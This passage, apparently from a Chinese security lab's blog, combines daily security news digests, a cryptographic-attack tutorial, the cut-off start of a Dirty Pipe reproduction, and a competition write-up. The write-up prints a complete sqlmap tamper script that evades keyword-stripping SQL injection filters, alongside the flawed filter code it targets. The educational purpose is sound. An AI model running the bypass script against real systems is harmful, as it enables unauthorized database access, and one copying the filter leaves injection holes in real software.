网络安全日报 2022年03月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、OpenSSL修复了 CVE-2022-0778 高危DoS 漏洞 https://securityaffairs.co/wordpress/129104/security/openssl-dos-vulnerability.html 2、德国BSI机构建议消费者不要使用卡巴斯基杀毒软件 https://securityaffairs.co/wordpress/129085/intelligence/bsi-recommends-replace-kaspersky-av.html 3、Veeam Data Backup 软件修复了两个严重漏洞 https://securityaffairs.co/wordpress/129094/hacking/veeam-rce.html 4、研究人员发现新的数据擦除恶意软件CaddyWiper https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html 5、研究人员在泄露的三星源代码中发现数千个密钥 https://www.securityweek.com/thousands-secret-keys-found-leaked-samsung-source-code 6、Dirty Pipe Linux 漏洞影响大多数 QNAP NAS 设备 https://securityaffairs.co/wordpress/129076/hacking/qnap-nas-dirty-pipe.html 7、Raccoon Stealer 使用 Telegram 作为C2 https://cyware.com/news/raccoon-stealer-using-telegram-for-hidden-communications-c4cf31d4 8、国家计算机病毒应急处理中心披露NSA网络间谍武器 https://www.anquanke.com/post/id/270087 9、315晚会聚焦个人信息安全 https://www.freebuf.com/news/325021.html 10、日本电装德国分部大量机密数据被黑客窃取 https://www.cnbeta.com/articles/tech/1246433.htm
SQLMAP-Tamper之较为通用的双写绕过
前言 21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。 一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。 等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。 思路 过滤代码很简单: blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_ for n in blacklist:    regex = re.compile(n, re.IGNORECASE)    username = regex.sub("", username) 先拿个网上的代码举例, 核心代码为 for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) 其逻辑为:用正则进行搜索单词,类似: 当检测到payload中存在关键字,就将该关键字插入到原本关键字字符串的随机位置。 很常规的逻辑,但在这里有一些问题: 1.类似SELECT->SELSELECTECT,如果添加的位置不对,就可能新生成一个存在于黑名单的字样导致sqlmap误判。 2.混淆得不够彻底。代码中是以单词为单位,但过滤时会扩大面积。精简一下: keywords = ['OR','ORDER'] payload = 'ORDER' 混淆时:ORDER->OORRDER 过滤时:OORRDER->ORDER-> ''(为空) 那么,手动选某个关键字列表中比较特别的字样去统一混淆如何? 结论是可,但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR,那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样,否则将导致误判。 整理一下上述思路,可以开始着手编写tamper了。 代码 写脚本之前先介绍下tamper模板 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():    pass def tamper(payload, **kwargs):    return payload __priority__定义脚本优先级:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST dependencies()则声明该函数的适用/不适用范围,可为空 tamper()则是主要函数,处理传入的payload并返回。 好,然后就是脚本的完整代码 #!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs):    """   优化的双写绕过,顺序插入并判断是否新组成过滤单词   比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判   在此进行相关判断以保证生成的字符不存在另一个敏感词。   主要应对:       blacklist = [...]       for n in blacklist:           regex = re.compile(n, re.IGNORECASE)           username = regex.sub("", username)   >>> tamper('select 1 or 2 ORDER')   'selorect 1 oorr 2 OorRDER'   """    keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRE    retVal = payload    warnMsg = "当前关键字列表如下,请注意修改:\n"    warnMsg += "%s" % keywords    singleTimeWarnMessage(warnMsg)    if payload:        for key in reversed(keywords):            index = keywords.index(key)            num = 1            check = True            while check:                if num >= len(key):                    singleTimeWarnMessage('无法绕过双写关键字列表')                    exit()                check = False                repStr = "%s%s%s" % (key[:num], key, key[num:])                for t in keywords[:index]:                    if re.search(t, repStr) and not re.search(t, key):                        check = True                        break                num += 1            retVal = re.sub(key, repStr, retVal, flags=re.I)    return retVal for key in reversed(keywords):首先进入最外层的关键字循环,在这里使用逆序,混淆的时候先2后1,过滤的时候先1后2,就能很好的还原代码。 while num < len(key) and check:然后进入第二层循环。num为插入位置,比如ASC,能插入的地方有AS中间和SC中间,如果都插入了一遍还是检测到敏感词,说明再怎么双写都会被检测出来。 for t in keywords[:index]:第三层循环就是二次校验了,比如['A','ELSE','B','SELECT','C'],混淆的时候从后往前,如果插入的位置不好,SELECT->SELSELECTECT。这样从前面循环检测,检测到ELSE,则该位置不合法,重新插入。个人感觉从中间插入组成新敏感词的几率比较小,但仔细琢磨一下也没必要多加几行代码,于是就干脆用顺序了。 至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。 使用的时候把keywords列表一替换,拿到sqlmap一打,结束! 有个比较无语的点是re.sub()函数的第四个参数才是flags。 写代码的时候习惯性的在第三个参数位置打上re.I,然后又因为int(re.I)为2,程序正常运行不报错,最大替换次数为2次。折磨了好长时间。   实验推荐   实验:SQL注入之绕过is_numeric过滤(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212515000001>>
网络安全日报 2022年03月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 修补了iOS、macOS、iPadOS 中的39个安全漏洞 https://www.securityweek.com/apple-patch-day-gaping-security-holes-ios-macos-ipados 2、AMD 在英特尔研究之后更新 Spectre 缓解措施 https://www.securityweek.com/amd-updates-spectre-mitigations-following-intel-research 3、以色列遭遇大规模 DDoS 攻击,导致许多政府网站离线 https://securityaffairs.co/wordpress/129063/cyber-warfare-2/massive-ddos-attack-hit-israel.html 4、乌国防部使用 Clearview AI 的面部识别技术来识别敌方 https://securityaffairs.co/wordpress/129047/cyber-warfare-2/clearview-facial-recognition-ukraine.html 5、Netfilter模块中的漏洞CVE-2022-25636可导致Linux本地提权 https://thehackernews.com/2022/03/new-linux-bug-in-netfilter-firewall.html 6、研究人员发现Aberebot银行木马的新版本 https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/ 7、芬兰政府机构警告飞机GPS遭到异常干扰 https://www.bleepingcomputer.com/news/technology/finnish-govt-agency-warns-of-unusual-aircraft-gps-interference/ 8、SDCA医疗机构遭到黑客入侵导致数据泄露 https://www.databreaches.net/287652-south-denver-cardiology-associates-patients-notified-of-breach/ 9、黑客组织Lapsus$发起投票:根据结果公开公司数据 https://www.cnbeta.com/articles/tech/1245685.htm 10、欧洲立法者对欧盟国家使用Pegasus间谍软件展开调查 https://www.cnbeta.com/articles/tech/1245991.htm
网络安全日报 2022年03月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、LockBit 勒索软件声称已经入侵了普利司通美洲公司 https://securityaffairs.co/wordpress/128957/cyber-crime/bridgestone-americas-lockbit-ransomware.html 2、攻击者使用网站联系表格传播 BazarLoader 恶意软件 https://securityaffairs.co/wordpress/128942/cyber-crime/phishing-bazarloader-campaign.html 3、俄互联网监管机构 Roskomnadzor 将禁止 Instagram https://securityaffairs.co/wordpress/128935/cyber-warfare-2/russian-roskomnadzor-bans-instagram.html 4、Lapsus$ 团伙声称入侵了游戏巨头育碧公司 https://securityaffairs.co/wordpress/128929/hacking/ubisoft-cyber-security-incident.html 5、东映动画遭受网络攻击延迟发布新的海贼王动漫剧集 https://www.bleepingcomputer.com/news/security/new-one-piece-anime-episodes-delayed-after-toei-cyberattack/ 6、欧姆龙修补修补了 PLC 编程软件中的高危漏洞 https://www.securityweek.com/high-severity-vulnerabilities-patched-omron-plc-programming-software 7、研究人员推测新的Nokoyawa勒索软件与Hive有关 https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html 8、约70%的ServiceNow实例配置错误暴露敏感数据 https://threatpost.com/most-servicenow-instances-misconfigured-exposed/178827/ 9、流行的软件包管理器中发现多个安全漏洞 https://thehackernews.com/2022/03/multiple-security-flaws-discovered-in.html 10、为对抗制裁,俄罗斯决定自建TLS根证书 https://www.freebuf.com/news/324501.html
密码学的安全性浅析2
分组密码   分组密码是一种对称密钥算法。它将明文分成多个等长的模块,使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如AES和3DES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。基本流程细节这里不展开,可以参考密码学相关教材,本文专注于分析其中与安全性有关的部分。    分组大小   分组密码有两个重要的特征:分组大小和密钥大小,其安全性也取决于这两个值,大多数分组密码的分组大小为64比特或128比特,比如DES的分组为64比特,AES的分组为128比特,这些都是2的n次幂,因为这可以让数据的存储、寻址、处理等操作更加方便。   但是各位有没有想过为什么是64、128,而不是256或者更小的32呢?   首先分组不能太大,我们应该让密文的长度和内存占用尽可能小。比如我们使用AES加密16比特信息时,需要将信息转换为128比特,然后对其处理得到128比特密文,很明显,分组越大,开销也越大。64比特、128比特对于大多数CPU的寄存器都可以方便操作。   同时分组不能太小,分组太小的话容易受到代码本攻击Codebook attack。代码本攻击是用16比特分组进行的:   1.首先得到对应于每个16比特明文分组的2^16个密文   2.然后建立代码本,即查找表,将每个密文分组映射到相应的明文分组   3.对未知的密文分组进行解密,查找表中对应的明文分组   如果使用的是16比特分组长度的密码,则攻击者建立的查找表只需要16x2^16=   2^20比特内存,即128kb;而如果使用的是分组长度为32比特,则内存需要16gb,这对于攻击者而言都是可行的;而如果要攻击64比特分组的密码,攻击者必须要有1ZB的内存,这是不可行的。   分组构造   我们知道,分组密码实际上是一个循环多轮的运算,轮本身是很弱的一系列运算,但是数量很多。而循环的构造主要有两种技术:代换-置换网络(Substitution-Permutation Network,SP-network或SPN))(AES采用)和Feistel方案(DES采用)   在分组密码中,我们会明确规定轮与轮之间是不相同的,这是为什么呢?因为如果相同的话,容易受到滑动攻击Slide attack。   滑动攻击中的攻击者找到两个明文-密文对(P1,C1)(P2,C2),设R是分组密码的轮函数,有P2=R(P1)。当轮函数相同时,两个明文之间的关系蕴含着对应的各自密文之间的关系即C2=R(C1),下图是轮数为3时的示意图     攻击者一旦知道一轮的输入和输出就有助于恢复出密钥。   我们一般可以通过使用不同的子密钥作为参数确保每轮的运算是不同的,从而防止滑动攻击。   AES   AES的全称是Advanced Encryption Standard,意思是高级加密标准。它的出现主要是为了取代DES加密算法的,因为我们都知道DES算法的密钥长度是56Bit,因此算法的理论安全强度是2的56次方。但二十世纪中后期正是计算机飞速发展的阶段,元器件制造工艺的进步使得计算机的处理能力越来越强,虽然出现了3DES的加密方法,但由于它的加密时间是DES算法的3倍多,64Bit的分组大小相对较小,所以还是不能满足人们对安全性的要求。于是1997年1月2号,美国国家标准技术研究所宣布希望征集高级加密标准,用以取代DES。AES也得到了全世界很多密码工作者的响应,先后有很多人提交了自   AES组成   AES每轮的四个步骤如下示意    图中所示的运算都是必要的,如果缺乏任一,AES都是不安全的,具体分析如下:   如果没有KeyExpansion,所有轮都会使用相同的密钥K,则容易受到滑动攻击;   如果没有AddRoundKey,加密将不依赖于密钥;这意味着,攻击者可以在没有密钥的情况下解密密文;   SubBytes引入了非线性操作,增加了密码强度,如果没有SubBytes,AES只是由线性函数构成的大系统,使用基础的高等代数知识就可以破解它。   如果没有ShiftRows,给定列中的更改就不会影响其他列,那么攻击者就可以为每列构造4个2^32个元素的查找表来攻破AES   如果没有MixColumns,字节的变化不会影响该状态的其他任何字节。那么对于选择明文攻击而言,只需存储16个查找表(每个表256字节)后就可以解密任何密文,因为这些表中保存着每个字节可能的加密值。   AES实现   虽然在上一节中我们看到有SubBytes(),ShiftRows(),MixColumns()等操作,但是实际中的AES实现代码并不会用这些函数,因为效率太低,AES通过会基于表实现。   AES基于表的实现实际上是利用查询硬编码在程序中并在执行时加载到内存中的表以及XOR运算替换SubBytes(),ShiftRows(),MixColumns()等操作,比如在openssl中其对应的C语言实现如下    但是基于查找表的实现容易受到基于时间的缓存攻击cache-timing attack,当程序读取或者写入缓存中的元素时存在时间变化上的差异,因为访问cache中的元素的相对位置不同则时间也不同,通过这种差异攻击者就可以知道程序访问了哪个元素,进而推测秘密。   操作模式   分组密码加密模式中最简单的就是ECB,ECB模式下的分组密码是不安全的,一个直观的示意如下所示    左侧为原始图像,右侧为使用AES以ECB模式加密后的结果,可以看到在加密后的图像上还是很容易看出企鹅,这本质上是因为原始图像中灰度阴影的所有分组都被加密到新图像中相同的新灰度阴影中。   而在CBC模式中也存在一定问题,CBC通常与固定IV一起使用,而不是使用随机IV,这会导致什么问题呢?设两个明文分组P1||P2在CBC模式下加密得到密文C1||C2;另外有明文分组P1||P2'使用相同的IV加密得到C1||C2'。其中P2与P2’是不同的分组,在得到的密文中,虽然C2和C2‘不同,但是C1是相同的,即危害在于,即使攻击者只拿到密文,但是攻击者仍然可以推测出两个明文的第一个分组是相同的。   中间相遇攻击   在分组密码领域,有两种必须知道的攻击方案,一种是已经介绍过的padding oracle attack,另一种是中间相遇攻击。 提到中间相遇攻击,不知道大家有没有想过一个问题,为什么DES进一步派生出3DES,而不是2DES呢?   因为通过中间相遇攻击,2DES的安全性依然相当于DES,分析如下   设有一个2DES算法C=E(K2,E(K1,P)),其中P为明文,K1,K2均为56比特的密钥。攻击示意如图    流程如下   1.首先构建有2^56项的E(K1,P)的密钥值表   2.对于K2的所有2^56个值,计算D(K2,C)并检查结果值是否出现在表的索引中   3.如果出现,则从表中取出对应的K1,并使用相应的P,C验证找到的K1,K2是否正确,再用它们加密P看是否能得到C,如果可以则说明攻击成功   可以看到,这种攻击方式只需要2x2^56次操作即可,远小于   2^112   而如果我们将这种攻击方式应用于3DES,可以推算出来,第三阶段需要计算K2,K3的所有2^112个值,这意味说3DES实际上只有112比特的安全性,尽管其密钥长度为168比特。   序列密码   序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,典型的应用领域包括无线通信、外交通信。    基于硬件   基于硬件的序列密码基本都离不开反馈移位寄存器FSR。    上图所示是一个n级反馈移位寄存器。   其中,a0,a1,…,an−1为初态。F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器LFSR,否则我们称其为非线性反馈移位寄存器NFSR。ai+n=F(ai,ai+1,...,ai+n−1)   FSR被无数序列密码使用,因为它非常简单而且容易理解,从上图可见,其包含由一些比特组成的数组以及一个更新的反馈函数F,FSR的状态存储在数组或寄存器中,每次更新就是使用F改变状态并产生一个输出比特。在使用FSR时,需要尽量避免使用短周期的,因为这样会使输出序列更容易预测。   LFSR中文为线性反馈移位寄存器,是具有线性反馈函数的FSR。在密码学中,线性性质意味着可预测性,也暗示着存在简单并容易理解的数学结构。在序列密码中使用LFSR并不安全,假设一个LFSR的长度为n,攻击者仅需要n比特输出就可以还原该寄存器的初始状态,由此可以反推之前的状态信息并得到之后的输出序列,这种攻击基于Berlekamp-Massey(BM)算法,其依赖于LFSR的数学结构去建立方程,求解方程即可。实际上攻击者即使不知道n,也可以通过穷举所有可能的长度进行攻击。   为了掩盖LFSR的线性性质,可以对LFSR的输出序列进行非线性过滤以得到非线性程度更高的密钥序列,称其为过滤生成器,如下所示    图中的g为非线性函数,如异或、逻辑与、逻辑或等。   不过这还是会受到其他复杂的攻击:   代数攻击Algebraic attack:当未知变量是LFSR的内部状态比特时,代数攻击可以求解以内部状态为未知变量的非线性方程   立方攻击Cube attacks:通过计算非线性方程的微商,使其方程的代数次数降到1次,进而得到线性方程组从而求解   快速相关攻击Fast correlation attacks:挖掘非线性过滤函数和线性函数的相似度来实施攻击   为了彻底解决这个问题可以使用NFSR,即非线性反馈移位寄存器,它使用了非线性函数,它的输出比特和状态比特之间的代数关系的复杂性更高,随着运行次数的增加,复杂性呈指数规模增长。   A5/1   基于硬件的序列密码中的一个代表算法就是A5/1,其被用于2G移动通信中,用于对语音通信加密.示意图如下    A5/1流密码使用三个LFSR。虽然我们前面说LFSR不安全,但是A5/1使用小技巧是它变得较为安全,它使用的3个LFSR并非每一时刻都输出,而是通过下面的钟控规则决定每个寄存器的停走:如果某个寄存器的钟控位(橙色)和另一个寄存器的钟控位相同或著三个寄存器的钟控位都相同,则对该寄存器作移位操作。   特别地,在2G通信中使用的A5/1算法有64比特密钥和22比特nonce,其中加密每一帧所用的nonce不同,针对A5/1的攻击旨在恢复算法的64比特的初始状态(即三个寄存器的长度之和19+22+23),然后通过算法的初始化原理恢复nonce和密钥。这种攻击属于已知明文攻击,因为攻击者需要知道部分明文以及对应的密文,这样通过异或运算可以得到部分密钥序列比特。针对A5/1的攻击主要有两类,分别是细致攻击subtle attack以及暴力攻击brutal attack.   subtle attack是挖掘算法内部的线性性质并利用它相对简单的钟控系统,攻击者需要猜测一些内部状态比特以确定其他状态比特,本质上就是遍历第一个和第二个寄存器的所有可能取值以及前11个时钟周期里第三个寄存器的钟控比特的所有可能取值,由此建立方程得到第三个寄存器的内部状态。伪码如下    brutal attack将算法看做是一个64比特输入(内部状态)到64比特(前64比特密钥序列)输出的黑盒,本质是通过消耗内存降低暴力攻击的成本:预算计算一个有2^64个元素的表,表中的元素是每个可能的密钥和其对应的输出。在攻击时,根据输出,通过查表就可以得到对应的密钥。   基于软件   RC4    在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法.RC4应用非常广泛,在WEP中,RC4用于加密802.11帧的有效负载,这些数据通过数据包的形式进行传输。在同一会话中交付的所有有效负载都使用相同的40比特或104比特的密钥,且在帧头有一个唯一的3字节的nonce编码。   这里的关键在于RC4不支持nonce,而在WEP中使用nonce会造成风险,其原因在于:   nonce的比特数太少,只有24比特,这意味着对于攻击者而言,即使每条消息都随机选择一个nonce,只需等到2^12包,就能找到两个用相同的nonce加密的包,他们有相同的密钥序列,攻击者可以用其去解密数据包;此外还有更严重的问题--nonce和密钥的结合方式有助于恢复密钥。WEP中的nonce是公开的,它的三个字节使攻击者能够在密钥编排方案的三次迭代后确定S的值,基于此密钥分析人员发现密码序列的第一个字节和密钥的第一个字节有很强的相关性,其导致的偏差可以被用于恢复密钥。   在实际场景中,这就会造成选择明文攻击。   在TLS中也使用过RC4,这时存在风险的原因是在于,RC4存在统计数据偏差:RC4生成的密钥序列的第二个字节是0的概率是1/128,而理想情况下应该是1/256;不仅如此,实际上,前256个字节都有偏差,之前就有研究人员发现,其中某字节为0的概率为1/256+c/256^2,c取值介于0.24到1.34.   通过这种缺陷去攻击TLS的过程也非常直观,只需要收集密文并寻找明文,攻击者需要收集很多密文,并且这些密文是同不同的密钥对相同的明文加密得到的。设攻击者拿到了同一明文P1加密得到的多组密文,现在要解密明文P1.前4个密文字节是这样的:    由于前面提到RC4存在统计偏差,密钥序列字节SK1i取值为0的可能性更大,所以对应的C1i等于P1的可能性更大。在给定C1i后,为了确定P1,只需计算每个字节值出现次数并返回出现次数最多的那个值,它就是P1.   哈希函数   散列函数(Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做哈希值或散列值(hash values,hash codes,hash sums,或hashes)的指纹。其运行的示意图如下    生日攻击   我们知道哈希函数存在原像攻击和碰撞攻击。   给定任意哈希值H,原像是指满足Hash(M)=H的消息M,原像攻击指给定随机哈希值,攻击者可以找到原始消息,这一般也被称作第一原像攻击。   除此之外,还存在第二原像攻击,即给定消息M1时,攻击者能够找到另一条消息M2,其哈希值与M1的哈希值相同。   而碰撞攻击则是指攻击者可以找到具有相同哈希值的两条不同的消息。   碰撞攻击的本质是鸽巢原理:有n只鸽子和m个鸽洞,所有鸽子都住在鸽巢里,如果n>m,那么至少有二只鸽子必须住在同一鸽巢里。   可以说这是不可避免的,但是对于哈希函数而言,碰撞应该像原始消息一样难于找到。   通过上面的表述,我们可以看到第二原像攻击与碰撞攻击存在一定联系:   第二原像攻击定义为:   给定固定消息m1,找到另一个消息m2,使hash(m2)= hash(m1)。   碰撞攻击定义为:   找到两个任意不同的消息m1和m2,使hash(m1)= hash(m2)。   区别在于第二原像攻击是给定了m1的,而碰撞攻击没有。就攻击难度而言,前者更难。同时,我们也可以看出,任何具有抗碰撞性的哈希函数,也能够抵御第二原像攻击。   找到碰撞与找到原像要快,需要2^(n/2)次   而不是2^n次,这背后的原理我们称之为生日攻击。   生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。   举个例子   设一位老师问一个有30名学生的班级(n = 30)每个人的生日在哪一天以确定是否有两个学生同一天生日(对应碰撞 )。从直觉角度考虑,机率看起来很小。若老师选择特定日期(例如9月16日),则至少有一名学生在那天出生的几率是1-(364/365)^30,约为7.9%。但是,与我们的直觉相反的是,至少一名学生和另外任意一名学生有着相同生日的几率大约为70.63%(n = 30时),即   1-365!(365-n)!x365^n   更简洁的结论就是,如果班级有23人,则其中有两个学生出生日期相同的概率为1/2。   知道生日攻击的原理后,我们看看对应的攻击方案:   朴素的生日攻击方案如下:   1.计算任意选择的2^(n/2)个消息的哈希,并将所有的消息-哈希对存下来   2.重排哈希值列表   3.搜索排序后的列表以查找具有相同哈希值的两个连续条目   可以看到,这种方法需要大量的内存,同时对大量元素进行排序会减慢搜索的速度。   研究人员在此基础上提出了低内存的攻击方案:Rho攻击(来自Pollard Rho算法),流程如下   1.给定具有n比特哈希值的哈希函数,选择一些随机哈希值H1,设H1'=H1   2.计算H2=Hash(H1),H2'=Hash(Hash(H1'))   3.迭代该过程并计算Hi+1=Hash(Hi),Hi+1'=Hash(Hash(Hi')),直到有一个i可以满足Hi+1=Hi+1'   对应的示意图如下    可以看到这个序列最终会形成一个循环,循环从H5开始,找到的碰撞是Hash(H4)=Hash(H10)=H5,只要我们能够找到循环,就能够找到碰撞。对于攻击者而言,首先找到循环点,然后发现碰撞,不需要在内存中存储大量的值,也不需要排序。   循环以及尾部各自有大约2^(n/2)个值,所以大约需要   2^(n/2)x2次哈希运算就能找到碰撞   这里再多说一句,密码学中一般使用Pollard Rho算法分解大整数,其基于大整数n=pq中p和q之间有一个因子很小,在此情况下,可以利用该算法完成对n的分解,它是基于寻找指定哈希函数的碰撞的思想才设计出来的,也就是我们上文提到的过程。假设找到了碰撞,即找到不相等的x,x'并且有   x mod p = x' mod p   那实际上我们就知道x,x'相差p的整数倍,由此可以知道gcd(x-x',n),如果不是1也不是n,那么就分解成功。   长度扩展攻击   对消息进行哈希处理的最简单方法就是将其分成多个分组,并使用类似的算法连续处理每个分组。这种方法被称为迭代哈希,其主要有两种形式:   1.使用压缩函数迭代哈希,将输入转换为较小的输出,如下所示    这种结构也被称为Merkel-Damgard结构   2.使用将输入转换为相同大小的输出的函数进行迭代哈希,是的任意两个不同的输入给出两个不同的输出,如下所示    这种函数被称为海绵函数   基于M-D结构的有MD4,MD5,SHA-1,SHA-2系列,基于后者的最著名的海绵函数是Keccak,也被称为SHA-3。   对于M-D而言,其主要威胁就是长度扩展攻击。长度扩展攻击是指一种针对特定加密散列函数的攻击手段,攻击者可以利用H(消息1)和消息1的长度,不知道消息1内容的情形下,将攻击者控制的消息2计算出H(消息1 ‖ 消息2)。我们来看下面的例子    设存在未知消息M的Hash(M),M由M1,M2组成,那么攻击者对于任意消息M3都可以确定Hash(M1||M2||M3)。这种攻击可行的原因在于M1||M2的哈希是跟在M2之后的链值,所以可以将另一个分组M3添加到哈希中。   SHA-2就存在这个问题,解决方案也很简单,如BLAKE2中让最后一个压缩函数与其他函数都不同即可。   绕过存储证明协议   存储证明协议在云计算中应用广泛,其使用哈希函数,使得服务器能够向用户证明服务器确实存储了应该存储的用户文件。Kotla等人就提出一种存储证明协议(详情见SafeStore: A Durable and Practical Storage System ),设要存的文件为M,过程如下:   1.客户端选择一个随机值C并发送给服务器   2.服务器计算Hash(M||C)并返回给客户端   3.客户端计算Hash(M||C)并比服务器返回的值作比较,如果吻合则说明服务器确实存储着M   这个协议可行的前提是如果服务器不知道M,那么就不能正确计算出H(M||C)   但是这里的缺陷在于,Hash是一个迭代的哈希,其会逐分组处理输入信息,计算每个分组之间的中间链值。服务器利用这一点完成可以实现欺骗,怎么做呢?   当服务器接收到M时,计算H1=Compress(H0,M1),H0是哈希函数的初始值,然后记录H1并删除M,此时服务器已经没有存储着M了。当客户端发送C时,服务器可以计算出Compress(H1,C)并将其作为Hash(M||C)的结果返回。此时客户端会验证成功,由此就欺骗了该协议。   对于SHA-1,SHA-2,SHA-3以及BLAKE2都存在这个问题。其实对应的解决方案很简单,要求服务器计算Hash(C||M)而不是Hash(M||C)即可。   参考   1.https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf    2.https://en.wikipedia.org/wiki/Slide_attackhttps://crypto.stackexchange.com/questions/17869/lfsr-output-sampling-for-berlekamp-massey   3.https://ieeexplore.ieee.org/document/6378229   4.https://eprint.iacr.org/2018/522.pdf   5.https://en.wikipedia.org/wiki/Cube_attack   6.http://www.dcs.fmph.uniba.sk/diplomovky/obhajene/getfile.php/master-mv.pdf?id=132&fid=219&type=application%2Fpdf&&   7.SafeStore: A Durable and Practical Storage System
网络安全日报 2022年03月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、意大利对美国面部识别公司Clearview AI 处以 2000 万欧元罚款 https://www.securityweek.com/italy-fines-us-facial-recognition-firm 2、CISA 将 98 个域添加到与 Conti 勒索软件相关的联合警报中 https://securityaffairs.co/wordpress/128885/malware/cisa-alert-conti-ransomware.html 3、新Emotet 僵尸网络正在迅速发展,179 个国家/地区超 13 万主机被感染 https://securityaffairs.co/wordpress/128879/breaking-news/emotet-botnet-rapidly-growing.html 4、攻击Nvidia和三星的Lapsus$入侵了沃达丰并窃取了200GB的源代码 https://www.securityweek.com/vodafone-investigating-source-code-theft-claims 5、研究人员发现RURansom恶意软件针对俄罗斯 https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html 6、CISA 敦促在 3 月 21 日之前修复被积极利用的 Firefox 零日漏洞 https://securityaffairs.co/wordpress/128803/security/cisa-firefox-zerodays-known-exploited-vulnerabilities-catalog.html 7、谷歌以 54 亿美元收购网络安全公司Mandiant https://www.leiphone.com/category/industrynews/UmpSJjGqdNYB30zn.html 8、近 30% 的关键 WordPress 插件漏洞没有更新补丁 https://www.bleepingcomputer.com/news/security/nearly-30-percent-of-critical-wordpress-plugin-bugs-dont-get-a-patch 9、1Password 将漏洞赏金最高奖励增加到 100 万美元 https://www.securityweek.com/1password-increases-top-bug-bounty-reward-1-million 10、Adobe 修补了 Illustrator、After Effects 中的严重漏洞 https://www.securityweek.com/adobe-patches-critical-security-flaws-illustrator-after-effects
CVE-2022-0847漏洞复现及修复建议
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。   漏洞描述   CVE-2022-0847是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权。目前该漏洞的EXP已经公开,且处于在野利用。   影响版本   Linux kernel>=5.8   漏洞复现   这里利用的linux内核版本为5.9,因为之前ubuntu的内核版本为4.5.0   所以需要对linux的内升级   wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900_5.9.0-050900.202010112230_all.deb    wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb    wget -c 